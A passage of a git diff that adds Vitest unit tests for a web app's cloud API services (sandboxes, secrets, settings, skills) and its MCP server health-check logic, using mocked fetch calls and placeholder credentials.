+ "X-Org-Id": "org-personal-uuid",
+ });
+ });
+});
diff --git a/__tests__/api/cloud/sandbox-service.test.ts b/__tests__/api/cloud/sandbox-service.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..ea5d73200de081a5268dcdb136252af04abd239d
--- /dev/null
+++ b/__tests__/api/cloud/sandbox-service.test.ts
@@ -0,0 +1,59 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+ __resetActiveStoreForTests,
+ setActiveSelection,
+ setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import { batchGetCloudSandboxes } from "#/api/cloud/sandbox-service.api";
+import type { Backend } from "#/api/backend-registry/types";
+import { getFetchCall, mockJsonResponse } from "./fetch-test-utils";
+
+const cloudBackend: Backend = {
+ id: "cloud-prod",
+ name: "Production",
+ host: "https://app.all-hands.dev",
+ apiKey: "bearer-token",
+ kind: "cloud",
+};
+
+const originalFetch = global.fetch;
+const fetchMock = vi.fn();
+
+beforeEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+ setRegisteredBackends([cloudBackend]);
+ setActiveSelection({ backendId: cloudBackend.id });
+ fetchMock.mockReset();
+ fetchMock.mockResolvedValue(mockJsonResponse([]));
+ global.fetch = fetchMock as typeof fetch;
+});
+
+afterEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+ fetchMock.mockReset();
+ global.fetch = originalFetch;
+});
+
+describe("batchGetCloudSandboxes", () => {
+ it("targets /api/v1/sandboxes with one id query param per sandbox id", async () => {
+ // Arrange — multiple ids exercises the URLSearchParams.append path,
+ // which is the cloud contract for batch-fetching sandboxes (the GUI
+ // reads sandbox.exposed_urls from the response to find the VSCODE
+ // URL instead of asking the runtime for a localhost address).
+ const ids = ["sandbox-a", "sandbox-b"];
+
+ // Act
+ await batchGetCloudSandboxes(ids);
+
+ const [url, init] = getFetchCall(fetchMock);
+ expect(init).toMatchObject({
+ method: "GET",
+ headers: { Authorization: "Bearer bearer-token" },
+ });
+ expect(url).toBe(
+ `${cloudBackend.host}/api/v1/sandboxes?id=sandbox-a&id=sandbox-b`,
+ );
+ });
+});
diff --git a/__tests__/api/cloud/secrets-service.test.ts b/__tests__/api/cloud/secrets-service.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..f7fc66b37d3e9fd5b3b57b834ae062f448601f86
--- /dev/null
+++ b/__tests__/api/cloud/secrets-service.test.ts
@@ -0,0 +1,179 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+ __resetActiveStoreForTests,
+ setActiveSelection,
+ setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import { SecretsService } from "#/api/secrets-service";
+import {
+ getFetchCall,
+ getJsonBody,
+ mockJsonResponse,
+} from "./fetch-test-utils";
+
+const cloudBackend: Backend = {
+ id: "prod",
+ name: "Production",
+ host: "https://app.all-hands.dev",
+ apiKey: "bearer-token",
+ kind: "cloud",
+};
+
+const originalFetch = global.fetch;
+const fetchMock = vi.fn();
+
+beforeEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+ setRegisteredBackends([cloudBackend]);
+ setActiveSelection({ backendId: cloudBackend.id });
+ fetchMock.mockReset();
+ fetchMock.mockResolvedValue(mockJsonResponse({}));
+ global.fetch = fetchMock as typeof fetch;
+});
+
+afterEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+ fetchMock.mockReset();
+ global.fetch = originalFetch;
+});
+
+describe("SecretsService against cloud backend", () => {
+ it("paginates getSecrets directly and returns the merged list", async () => {
+ fetchMock
+ .mockResolvedValueOnce(
+ mockJsonResponse({
+ items: [
+ { name: "ALPHA", description: "first" },
+ { name: "BETA", description: "second" },
+ ],
+ next_page_id: "BETA",
+ }),
+ )
+ .mockResolvedValueOnce(
+ mockJsonResponse({
+ items: [{ name: "GAMMA", description: "third" }],
+ next_page_id: null,
+ }),
+ );
+
+ const secrets = await SecretsService.getSecrets();
+
+ expect(fetchMock).toHaveBeenCalledTimes(2);
+
+ const [firstUrl, firstInit] = getFetchCall(fetchMock, 0);
+ expect(firstInit).toMatchObject({
+ method: "GET",
+ headers: { Authorization: "Bearer bearer-token" },
+ });
+ expect(firstUrl).toMatch(
+ /^https:\/\/app\.all-hands\.dev\/api\/v1\/secrets\/search\?/,
+ );
+ expect(firstUrl).not.toContain("page_id=");
+
+ const [secondUrl] = getFetchCall(fetchMock, 1);
+ expect(secondUrl).toContain("page_id=BETA");
+
+ expect(secrets.map((s) => s.name)).toEqual(["ALPHA", "BETA", "GAMMA"]);
+ });
+
+ it("creates a secret via direct POST /api/v1/secrets", async () => {
+ await SecretsService.createSecret(
+ "OPENAI_API_KEY",
+ "sk-test",
+ "OpenAI key",
+ );
+
+ const [url, init] = getFetchCall(fetchMock);
+ expect(url).toBe(`${cloudBackend.host}/api/v1/secrets`);
+ expect(init).toMatchObject({
+ method: "POST",
+ headers: { Authorization: "Bearer bearer-token" },
+ });
+ expect(getJsonBody(init)).toEqual({
+ name: "OPENAI_API_KEY",
+ value: "sk-test",
+ description: "OpenAI key",
+ });
+ });
+
+ it("updates a secret via PUT /api/v1/secrets/{id} with name + description only", async () => {
+ // The form/hook calls updateSecret(secretToEdit, newName, description).
+ await SecretsService.updateSecret("OLD_NAME", "NEW_NAME", "renamed");
+
+ const [url, init] = getFetchCall(fetchMock);
+ expect(url).toBe(`${cloudBackend.host}/api/v1/secrets/OLD_NAME`);
+ expect(init).toMatchObject({
+ method: "PUT",
+ headers: { Authorization: "Bearer bearer-token" },
+ });
+ expect(getJsonBody(init)).toEqual({
+ name: "NEW_NAME",
+ description: "renamed",
+ });
+ // No value supplied, so nothing overwrites the stored one.
+ expect(fetchMock).toHaveBeenCalledTimes(1);
+ });
+
+ it("overwrites the value with a POST following the PUT", async () => {
+ // Fresh Response per call: a Response body can only be consumed once.
+ fetchMock.mockImplementation(() => Promise.resolve(mockJsonResponse({})));
+
+ await SecretsService.updateSecret(
+ "API_KEY",
+ "API_KEY",
+ "Demo secret",
+ "new-value",
+ );
+
+ expect(fetchMock).toHaveBeenCalledTimes(2);
+
+ const [putUrl, putInit] = getFetchCall(fetchMock, 0);
+ expect(putUrl).toBe(`${cloudBackend.host}/api/v1/secrets/API_KEY`);
+ expect(putInit).toMatchObject({ method: "PUT" });
+
+ const [postUrl, postInit] = getFetchCall(fetchMock, 1);
+ expect(postUrl).toBe(`${cloudBackend.host}/api/v1/secrets`);
+ expect(postInit).toMatchObject({ method: "POST" });
+ expect(getJsonBody(postInit)).toEqual({
+ name: "API_KEY",
+ value: "new-value",
+ description: "Demo secret",
+ });
+ });
+
+ it("deletes a secret via direct DELETE /api/v1/secrets/{id}", async () => {
+ await SecretsService.deleteSecret("token with space");
+
+ const [url, init] = getFetchCall(fetchMock);
+ expect(url).toBe(
+ `${cloudBackend.host}/api/v1/secrets/token%20with%20space`,
+ );
+ expect(init).toMatchObject({
+ method: "DELETE",
+ headers: { Authorization: "Bearer bearer-token" },
+ });
+ });
+
+ it("treats a delete 404 as success (secret already gone)", async () => {
+ // Fresh Response per attempt: the retry helper re-fetches and a
+ // Response body can only be consumed once. Fake timers skip the
+ // retry backoff sleeps.
+ fetchMock.mockImplementation(() =>
+ Promise.resolve(mockJsonResponse({ detail: "Secret not found" }, 404)),
+ );
+ vi.useFakeTimers();
+
+ try {
+ const assertion = expect(
+ SecretsService.deleteSecret("ALREADY_GONE"),
+ ).resolves.toBeUndefined();
+ await vi.runAllTimersAsync();
+ await assertion;
+ } finally {
+ vi.useRealTimers();
+ }
+ });
+});
diff --git a/__tests__/api/cloud/settings-service.test.ts b/__tests__/api/cloud/settings-service.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..a730df682dd8927e2cabcd41fe5d9bdf69cbfc18
--- /dev/null
+++ b/__tests__/api/cloud/settings-service.test.ts
@@ -0,0 +1,200 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+ __resetActiveStoreForTests,
+ setActiveSelection,
+ setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import {
+ fetchCloudSettings,
+ saveCloudSettings,
+} from "#/api/cloud/settings-service.api";
+import SettingsService from "#/api/settings-service/settings-service.api";
+import {
+ getFetchCall,
+ getJsonBody,
+ mockJsonResponse,
+} from "./fetch-test-utils";
+
+const cloudBackend: Backend = {
+ id: "prod",
+ name: "Production",
+ host: "https://app.all-hands.dev",
+ apiKey: "bearer-token",
+ kind: "cloud",
+};
+
+const originalFetch = global.fetch;
+const fetchMock = vi.fn();
+
+beforeEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+ setRegisteredBackends([cloudBackend]);
+ setActiveSelection({ backendId: cloudBackend.id });
+ fetchMock.mockReset();
+ fetchMock.mockResolvedValue(mockJsonResponse({}));
+ global.fetch = fetchMock as typeof fetch;
+});
+
+afterEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+ fetchMock.mockReset();
+ global.fetch = originalFetch;
+});
+
+describe("cloud settings", () => {
+ it("fetchCloudSettings preserves provider_tokens_set so the repo chain can fire", async () => {
+ fetchMock.mockResolvedValueOnce(
+ mockJsonResponse({
+ llm_model: "anthropic/claude-3-5-sonnet",
+ llm_base_url: "https://api.anthropic.com",
+ llm_api_key_set: true,
+ agent: "CodeActAgent",
+ confirmation_mode: true,
+ security_analyzer: "llm",
+ max_iterations: 30,
+ provider_tokens_set: { github: "***" },
+ }),
+ );
+
+ const result = await fetchCloudSettings();
+
+ const [url, init] = getFetchCall(fetchMock);
+ expect(url).toBe(`${cloudBackend.host}/api/v1/settings`);
+ expect(init).toMatchObject({
+ method: "GET",
+ headers: { Authorization: "Bearer bearer-token" },
+ });
+
+ // provider_tokens_set must round-trip — it's what drives
+ // useUserProviders → useAppInstallations → useGitRepositories.
+ expect(result.provider_tokens_set).toEqual({ github: "***" });
+
+ // Top-level cloud fields are preserved as-is.
+ expect(result.llm_model).toBe("anthropic/claude-3-5-sonnet");
+ expect(result.llm_api_key_set).toBe(true);
+ expect(result.agent).toBe("CodeActAgent");
+
+ // Nested shape derived for the local-mode settings page.
+ expect(result.agent_settings?.agent).toBe("CodeActAgent");
+ expect(result.agent_settings?.llm).toEqual({
+ model: "anthropic/claude-3-5-sonnet",
+ base_url: "https://api.anthropic.com",
+ });
+ expect(result.conversation_settings?.confirmation_mode).toBe(true);
+ expect(result.conversation_settings?.security_analyzer).toBe("llm");
+ expect(result.conversation_settings?.max_iterations).toBe(30);
+ });
+
+ it("saveCloudSettings forwards diffs verbatim and omits the legacy keys the cloud rejects", async () => {
+ const agentDiff = {
+ llm: { model: "openai/gpt-4o", base_url: "https://api.openai.com" },
+ agent: "CodeActAgent",
+ };
+ const conversationDiff = { max_iterations: 50 };
+
+ await saveCloudSettings({
+ agent_settings_diff: agentDiff,
+ conversation_settings_diff: conversationDiff,
+ });
+
+ const [url, init] = getFetchCall(fetchMock);
+ expect(url).toBe(`${cloudBackend.host}/api/v1/settings`);
+ expect(init).toMatchObject({
+ method: "POST",
+ headers: { Authorization: "Bearer bearer-token" },
+ });
+ const requestBody = getJsonBody(init);
+ expect(requestBody).toEqual({
+ agent_settings_diff: agentDiff,
+ conversation_settings_diff: conversationDiff,
+ });
+ expect(requestBody).not.toHaveProperty("agent_settings");
+ expect(requestBody).not.toHaveProperty("conversation_settings");
+ });
+
+ it("SettingsService.saveSettings forwards disabled_skills to cloud when active backend is cloud", async () => {
+ // Act: save a skills-only update — previously this short-circuited and
+ // sent nothing at all, leaving the toggle un-persisted.
+ await SettingsService.saveSettings({
+ disabled_skills: ["SSH Microagent"],
+ });
+
+ // Assert: a single POST /api/v1/settings reached the wire with
+ // disabled_skills as a top-level field.
+ expect(fetchMock).toHaveBeenCalledTimes(1);
+ const [url, init] = getFetchCall(fetchMock);
+ expect(url).toBe(`${cloudBackend.host}/api/v1/settings`);
+ expect(init).toMatchObject({
+ method: "POST",
+ headers: { Authorization: "Bearer bearer-token" },
+ });
+ expect(getJsonBody(init)).toEqual({
+ disabled_skills: ["SSH Microagent"],
+ });
+ });
+
+ it("saveCloudSettings omits an empty conversation_settings_diff (LLM-only save)", async () => {
+ await saveCloudSettings({
+ agent_settings_diff: {
+ llm: { model: "anthropic/claude-sonnet-4-20250514" },
+ },
+ conversation_settings_diff: {},
+ });
+
+ const [, init] = getFetchCall(fetchMock);
+ const requestBody = getJsonBody(init);
+ expect(requestBody).toEqual({
+ agent_settings_diff: {
+ llm: { model: "anthropic/claude-sonnet-4-20250514" },
+ },
+ });
+ });
+});
+
+describe("saveCloudSettings drops agent_context: null (agent-canvas#981)", () => {
+ it("strips a null agent_context while preserving sibling agent settings", async () => {
+ // Act
+ await saveCloudSettings({
+ agent_settings_diff: {
+ llm: { model: "anthropic/claude-sonnet-4-20250514" },
+ agent_context: null,
+ },
+ });
+
+ // Assert: agent_context never reaches the wire, but the real llm change does.
+ const [, init] = getFetchCall(fetchMock);
+ const requestBody = getJsonBody(init);
+ expect(requestBody).toEqual({
+ agent_settings_diff: {
+ llm: { model: "anthropic/claude-sonnet-4-20250514" },
+ },
+ });
+ });
+
+ it("preserves a null mcp_config so clearing MCP servers still round-trips", async () => {
+ // Act
+ await saveCloudSettings({
+ agent_settings_diff: { mcp_config: null },
+ });
+
+ // Assert: the null mcp_config must survive (don't over-strip nulls).
+ const [, init] = getFetchCall(fetchMock);
+ const requestBody = getJsonBody(init);
+ expect(requestBody).toEqual({ agent_settings_diff: { mcp_config: null } });
+ });
+
+ it("omits agent_settings_diff when agent_context: null is its only key", async () => {
+ // Act
+ await saveCloudSettings({
+ agent_settings_diff: { agent_context: null },
+ });
+
+ // Assert: nothing is left to send, so no agent_settings_diff goes on the wire.
+ const [, init] = getFetchCall(fetchMock);
+ const requestBody = getJsonBody(init);
+ expect(requestBody).toEqual({});
+ });
+});
diff --git a/__tests__/api/cloud/skills-service.test.ts b/__tests__/api/cloud/skills-service.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..984873d4db4f27be27b6c977629bc4b7c76777a6
--- /dev/null
+++ b/__tests__/api/cloud/skills-service.test.ts
@@ -0,0 +1,136 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+ __resetActiveStoreForTests,
+ setActiveSelection,
+ setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import SkillsService from "#/api/skills-service";
+import { getFetchCall, mockJsonResponse } from "./fetch-test-utils";
+
+const cloudBackend: Backend = {
+ id: "prod",
+ name: "Production",
+ host: "https://app.all-hands.dev",
+ apiKey: "bearer-token",
+ kind: "cloud",
+};
+
+const originalFetch = global.fetch;
+const fetchMock = vi.fn();
+
+beforeEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+ setRegisteredBackends([cloudBackend]);
+ setActiveSelection({ backendId: cloudBackend.id });
+ fetchMock.mockReset();
+ global.fetch = fetchMock as typeof fetch;
+});
+
+afterEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+ fetchMock.mockReset();
+ global.fetch = originalFetch;
+});
+
+describe("SkillsService.getSkills against cloud backend", () => {
+ it("paginates /api/v1/skills/search directly and returns the merged list", async () => {
+ fetchMock
+ .mockResolvedValueOnce(
+ mockJsonResponse({
+ items: [
+ { name: "alpha", type: "knowledge", source: "global" },
+ {
+ name: "beta",
+ type: "task",
+ source: "user",
+ triggers: ["foo"],
+ },
+ ],
+ next_page_id: "beta",
+ }),
+ )
+ .mockResolvedValueOnce(
+ mockJsonResponse({
+ items: [{ name: "gamma", type: "knowledge", source: "user" }],
+ next_page_id: null,
+ }),
+ );
+
+ const skills = await SkillsService.getSkills();
+
+ expect(fetchMock).toHaveBeenCalledTimes(2);
+
+ const [firstUrl, firstInit] = getFetchCall(fetchMock, 0);
+ expect(firstInit).toMatchObject({
+ method: "GET",
+ headers: { Authorization: "Bearer bearer-token" },
+ });
+ expect(firstUrl).toMatch(
+ /^https:\/\/app\.all-hands\.dev\/api\/v1\/skills\/search\?/,
+ );
+ expect(firstUrl).not.toContain("page_id=");
+
+ const [secondUrl] = getFetchCall(fetchMock, 1);
+ expect(secondUrl).toContain("page_id=beta");
+
+ expect(skills.map((s) => s.name)).toEqual(["alpha", "beta", "gamma"]);
+ expect(skills[1]).toMatchObject({ triggers: ["foo"] });
+ });
+});
+
+describe("SkillsService.getConversationSkills against cloud backend", () => {
+ it("reads the conversation's own skills route and maps entries to SkillInfo", async () => {
+ // Arrange
+ fetchMock.mockResolvedValueOnce(
+ mockJsonResponse({
+ skills: [
+ {
+ name: "release-notes",
+ type: "agentskills",
+ content: "# Release notes",
+ triggers: ["/release-notes"],
+ },
+ {
+ name: "repo",
+ type: "repo",
+ content: "Repository instructions",
+ triggers: [],
+ },
+ ],
+ }),
+ );
+
+ // Act
+ const skills = await SkillsService.getConversationSkills("conv-1");
+
+ // Assert
+ expect(fetchMock).toHaveBeenCalledTimes(1);
+ const [url, init] = getFetchCall(fetchMock, 0);
+ expect(url).toBe(
+ "https://app.all-hands.dev/api/v1/app-conversations/conv-1/skills",
+ );
+ expect(init).toMatchObject({
+ method: "GET",
+ headers: { Authorization: "Bearer bearer-token" },
+ });
+ expect(skills).toEqual([
+ {
+ name: "release-notes",
+ type: "agentskills",
+ content: "# Release notes",
+ triggers: ["/release-notes"],
+ source: null,
+ },
+ {
+ name: "repo",
+ type: "repo",
+ content: "Repository instructions",
+ triggers: [],
+ source: null,
+ },
+ ]);
+ });
+});
diff --git a/__tests__/api/mcp-health/mcp-health-store.test.ts b/__tests__/api/mcp-health/mcp-health-store.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..1bad49135c98c5e063099de0293538677ecdb1ec
--- /dev/null
+++ b/__tests__/api/mcp-health/mcp-health-store.test.ts
@@ -0,0 +1,64 @@
+import { beforeEach, describe, expect, it } from "vitest";
+import {
+ __resetMcpHealthStoreForTests,
+ beginMcpHealthCheck,
+ clearMcpServerHealth,
+ getMcpHealthSnapshot,
+ resolveMcpHealthCheck,
+} from "#/api/mcp-health/mcp-health-store";
+import type { McpServerHealth } from "#/types/mcp-health";
+
+const HEALTHY: McpServerHealth = {
+ status: "healthy",
+ verification: "verified",
+ toolCount: 3,
+ checkedAt: 1,
+};
+
+const FAILED: McpServerHealth = {
+ status: "failed",
+ kind: "connection",
+ error: "refused",
+ checkedAt: 2,
+};
+
+describe("mcp-health-store", () => {
+ beforeEach(() => {
+ __resetMcpHealthStoreForTests();
+ });
+
+ it("marks a check as in flight and commits its result", () => {
+ const checkId = beginMcpHealthCheck("key");
+ expect(getMcpHealthSnapshot().key).toEqual({ status: "checking", checkId });
+
+ resolveMcpHealthCheck("key", checkId, HEALTHY);
+
+ expect(getMcpHealthSnapshot().key).toEqual(HEALTHY);
+ });
+
+ it("drops a stale result that was superseded by a newer check", () => {
+ const staleId = beginMcpHealthCheck("key");
+ const freshId = beginMcpHealthCheck("key");
+
+ // The slow older probe must not overwrite the newer probe's lifecycle.
+ resolveMcpHealthCheck("key", staleId, HEALTHY);
+ expect(getMcpHealthSnapshot().key).toEqual({
+ status: "checking",
+ checkId: freshId,
+ });
+
+ resolveMcpHealthCheck("key", freshId, FAILED);
+ expect(getMcpHealthSnapshot().key).toEqual(FAILED);
+ });
+
+ it("drops a result whose entry was cleared mid-flight", () => {
+ // e.g. the server was edited or deleted while its probe was running —
+ // the late result must not resurrect a verdict for a gone config.
+ const checkId = beginMcpHealthCheck("key");
+ clearMcpServerHealth("key");
+
+ resolveMcpHealthCheck("key", checkId, HEALTHY);
+
+ expect(getMcpHealthSnapshot().key).toBeUndefined();
+ });
+});
diff --git a/__tests__/api/mcp-health/probe-mcp-server-health.test.ts b/__tests__/api/mcp-health/probe-mcp-server-health.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..7fc8d71ac70b8d58298969f2e0721b4751ef1851
--- /dev/null
+++ b/__tests__/api/mcp-health/probe-mcp-server-health.test.ts
@@ -0,0 +1,179 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import {
+ __resetMcpHealthStoreForTests,
+ getMcpHealthSnapshot,
+ setMcpServerHealth,
+} from "#/api/mcp-health/mcp-health-store";
+import {
+ interpretMcpTestResponse,
+ probeMcpServerHealth,
+ seedMcpServerHealth,
+} from "#/api/mcp-health/probe-mcp-server-health";
+import McpService from "#/api/mcp-service/mcp-service.api";
+import type { ExtendedMCPTestResponse, MCPServerConfig } from "#/types/mcp-server";
+import { getMcpServerHealthKey } from "#/utils/mcp-server-health-key";
+
+/** Matches the catalog `github` entry, so the `get_me` probe spec applies. */
+const GITHUB: MCPServerConfig = {
+ id: "shttp-0",
+ type: "shttp",
+ name: "github",
+ url: "https://api.githubcopilot.com/mcp/",
+ auth: { strategy: "api_key", value: "github_pat_x" },
+};
+
+/** Matches no catalog entry, so no probe spec exists. */
+const CUSTOM: MCPServerConfig = {
+ id: "shttp-1",
+ type: "shttp",
+ name: "custom",
+ url: "https://mcp.example.com/mcp",
+};
+
+describe("interpretMcpTestResponse", () => {
+ it("passes a non-auth connection failure through with its kind", () => {
+ const health = interpretMcpTestResponse(CUSTOM, {
+ ok: false,
+ error: "connection refused",
+ error_kind: "connection",
+ });
+
+ expect(health).toMatchObject({
+ status: "failed",
+ kind: "connection",
+ error: "connection refused",
+ });
+ });
+
+ it("reclassifies a connection failure with auth-rejection text as a credentials failure", () => {
+ // Hosted servers reject bad tokens at the HTTP handshake, which the
+ // backend can only report as a connection failure.
+ const health = interpretMcpTestResponse(GITHUB, {
+ ok: false,
+ error: "Client error '401 Unauthorized' for url …",
+ error_kind: "connection",
+ });
+
+ expect(health).toMatchObject({ status: "failed", kind: "credentials" });
+ });
+
+ it("reports verified health when the read-only probe tool ran cleanly", () => {
+ const health = interpretMcpTestResponse(GITHUB, {
+ ok: true,
+ tools: ["get_me", "search_code"],
+ tool_result: { is_error: false, text: '{"login":"octocat"}' },
+ });
+
+ expect(health).toMatchObject({
+ status: "healthy",
+ verification: "verified",
+ toolCount: 2,
+ });
+ });
+
+ it("downgrades to connectivity-only when the probe tool is not advertised", () => {
+ const health = interpretMcpTestResponse(GITHUB, {
+ ok: true,
+ tools: ["search_code"],
+ tool_result: {
+ is_error: true,
+ text: "Tool 'get_me' not advertised by server",
+ },
+ });
+
+ expect(health).toMatchObject({
+ status: "healthy",
+ verification: "connectivity-only",
+ });
+ });
+
+ it("reports connectivity-only for servers without a probe spec", () => {
+ const health = interpretMcpTestResponse(CUSTOM, {
+ ok: true,
+ tools: ["a"],
+ });
+
+ expect(health).toMatchObject({
+ status: "healthy",
+ verification: "connectivity-only",
+ toolCount: 1,
+ });
+ });
+});
+
+describe("probeMcpServerHealth", () => {
+ beforeEach(() => {
+ __resetMcpHealthStoreForTests();
+ vi.restoreAllMocks();
+ });
+
+ it("publishes checking while the probe runs, then the interpreted result", async () => {
+ let resolveProbe!: (value: ExtendedMCPTestResponse) => void;
+ vi.spyOn(McpService, "testServer").mockReturnValue(
+ new Promise((resolve) => {
+ resolveProbe = resolve;
+ }),
+ );
+ const key = getMcpServerHealthKey(CUSTOM);
+
+ const probe = probeMcpServerHealth(CUSTOM);
+ expect(getMcpHealthSnapshot()[key]).toMatchObject({ status: "checking" });
+
+ resolveProbe({ ok: true, tools: ["a", "b"] });
+ await probe;
+
+ expect(getMcpHealthSnapshot()[key]).toMatchObject({
+ status: "healthy",
+ verification: "connectivity-only",
+ toolCount: 2,
+ });
+ });
+
+ it("converts a thrown transport error into a failed verdict", async () => {
+ vi.spyOn(McpService, "testServer").mockRejectedValue(
+ new Error("network down"),
+ );
+
+ await probeMcpServerHealth(CUSTOM);
+
+ expect(getMcpHealthSnapshot()[getMcpServerHealthKey(CUSTOM)]).toMatchObject(
+ { status: "failed", kind: "unknown", error: "network down" },
+ );
+ });
+});
+
+describe("seedMcpServerHealth", () => {
+ beforeEach(() => {
+ __resetMcpHealthStoreForTests();
+ });
+
+ it("publishes the saved server's health from its pre-save test result", () => {
+ seedMcpServerHealth(CUSTOM, { ok: true, tools: ["a"] }, []);
+
+ expect(getMcpHealthSnapshot()[getMcpServerHealthKey(CUSTOM)]).toMatchObject(
+ { status: "healthy" },
+ );
+ });
+
+ it("skips seeding when another installed server shares the health key", () => {
+ // A second install of the same catalog entry collides on the key until
+ // the save suffixes its name; it must not overwrite the first card.
+ const existingVerdict = {
+ status: "failed",
+ kind: "credentials",
+ error: "bad token",
+ checkedAt: 1,
+ } as const;
+ setMcpServerHealth(getMcpServerHealthKey(GITHUB), existingVerdict);
+
+ seedMcpServerHealth(
+ { ...GITHUB, id: "shttp-9" },
+ { ok: true, tools: ["get_me"] },
+ [GITHUB],
+ );
+
+ expect(getMcpHealthSnapshot()[getMcpServerHealthKey(GITHUB)]).toEqual(
+ existingVerdict,
+ );
+ });
+});
diff --git a/__tests__/api/mcp-service/mcp-service.api.test.ts b/__tests__/api/mcp-service/mcp-service.api.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..3d2f9a3bc958e6de654849e9d04f24f7935bf3a4
--- /dev/null
+++ b/__tests__/api/mcp-service/mcp-service.api.test.ts
@@ -0,0 +1,395 @@
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import McpService from "#/api/mcp-service/mcp-service.api";
+import SettingsService, {
+ type SettingsApiResponse,
+} from "#/api/settings-service/settings-service.api";
+import * as activeStore from "#/api/backend-registry/active-store";
+import type { MCPServerConfig } from "#/types/mcp-server";
+import { REDACTED_MCP_SECRET_VALUE } from "#/utils/mcp-config";
+
+// vi.mock factories are hoisted before imports, so spy functions must be
+// created with vi.hoisted() to be in scope inside the factory.
+const { mockTestServer } = vi.hoisted(() => ({
+ mockTestServer: vi.fn(),
+}));
+
+vi.mock("@openhands/typescript-client/clients", () => ({
+ // Real class so `new MCPClient(...)` works; testServer delegates to the
+ // shared spy so each test can configure the return value independently.
+ MCPClient: class {
+ // eslint-disable-next-line class-methods-use-this
+ testServer = mockTestServer;
+
+ // eslint-disable-next-line class-methods-use-this
+ close = vi.fn();
+ },
+}));
+
+vi.mock("#/api/agent-server-client-options", () => ({
+ getAgentServerClientOptions: () => ({
+ host: "http://localhost:3000",
+ apiKey: "test-key",
+ }),
+}));
+
+vi.mock("#/api/backend-registry/active-store", () => ({
+ getActiveBackend: vi.fn(),
+}));
+
+const mockGetActiveBackend = vi.mocked(activeStore.getActiveBackend);
+
+const localActive = () =>
+ mockGetActiveBackend.mockReturnValue({
+ backend: {
+ id: "local-1",
+ name: "Local",
+ host: "http://localhost:3000",
+ apiKey: "test-key",
+ kind: "local",
+ },
+ orgId: null,
+ });
+
+const cloudActive = () =>
+ mockGetActiveBackend.mockReturnValue({
+ backend: {
+ id: "cloud-1",
+ name: "Cloud",
+ host: "https://app.all-hands.dev",
+ apiKey: "cloud-key",
+ kind: "cloud",
+ },
+ orgId: null,
+ });
+
+const SERVER: MCPServerConfig = {
+ id: "shttp-1",
+ type: "shttp",
+ url: "https://mcp.example.com/mcp",
+};
+
+describe("McpService.testServer", () => {
+ beforeEach(() => {
+ vi.clearAllMocks();
+ localActive();
+ });
+
+ it("passes success responses through unchanged", async () => {
+ mockTestServer.mockResolvedValue({ ok: true, tools: ["search", "fetch"] });
+
+ const result = await McpService.testServer(SERVER);
+
+ expect(result).toEqual({ ok: true, tools: ["search", "fetch"] });
+ });
+
+ it("passes failure responses through unchanged (no server-side escaping)", async () => {
+ // The backend returns plain text; HTML-escaping of {{-error}} is handled
+ // by the i18next no-escape prefix in the translation string, not here.
+ mockTestServer.mockResolvedValue({
+ ok: false,
+ error:
+ "Client error '401 Unauthorized' for url https://mcp.example.com/mcp",
+ error_kind: "unknown",
+ });
+
+ const result = await McpService.testServer(SERVER);
+
+ expect(result).toEqual({
+ ok: false,
+ error:
+ "Client error '401 Unauthorized' for url https://mcp.example.com/mcp",
+ error_kind: "unknown",
+ });
+ });
+
+ it("maps a stdio config to a StdioMCPServerSpec", async () => {
+ mockTestServer.mockResolvedValue({ ok: true, tools: [] });
+ const stdio: MCPServerConfig = {
+ id: "my-server",
+ type: "stdio",
+ name: "my-server",
+ command: "npx",
+ args: ["-y", "@my/mcp-server"],
+ env: { API_KEY: "secret" },
+ };
+
+ await McpService.testServer(stdio);
+
+ // Exact match also guards that non-catalog servers get no `tool_call`.
+ expect(mockTestServer).toHaveBeenCalledWith({
+ server: {
+ type: "stdio",
+ command: "npx",
+ args: ["-y", "@my/mcp-server"],
+ env: { API_KEY: "secret" },
+ },
+ name: "my-server",
+ });
+ });
+
+ // -------------------------------------------------------------------------
+ // Credential verification for marketplace servers (Slack)
+ //
+ // The Slack MCP server lists its tools with any credentials and reports
+ // upstream auth failures as ordinary text content, so the service attaches
+ // a read-only verification tool call and interprets its payload.
+ // -------------------------------------------------------------------------
+
+ const SLACK_SERVER: MCPServerConfig = {
+ id: "slack",
+ type: "stdio",
+ name: "slack",
+ command: "npx",
+ args: ["-y", "@zencoderai/slack-mcp-server"],
+ env: { SLACK_TEAM_ID: "T01", SLACK_BOT_TOKEN: "xoxb-abc" },
+ };
+
+ const slackToolResult = (text: string, isError = false) => ({
+ ok: true,
+ tools: ["slack_list_channels"],
+ tool_result: { is_error: isError, text },
+ });
+
+ it("attaches the read-only Slack verification tool call to the request", async () => {
+ mockTestServer.mockResolvedValue({ ok: true, tools: [] });
+
+ await McpService.testServer(SLACK_SERVER);
+
+ expect(mockTestServer).toHaveBeenCalledWith(
+ expect.objectContaining({
+ tool_call: { name: "slack_list_channels", arguments: { limit: 1 } },
+ }),
+ );
+ });
+
+ it("maps an in-band Slack auth error to a credentials failure", async () => {
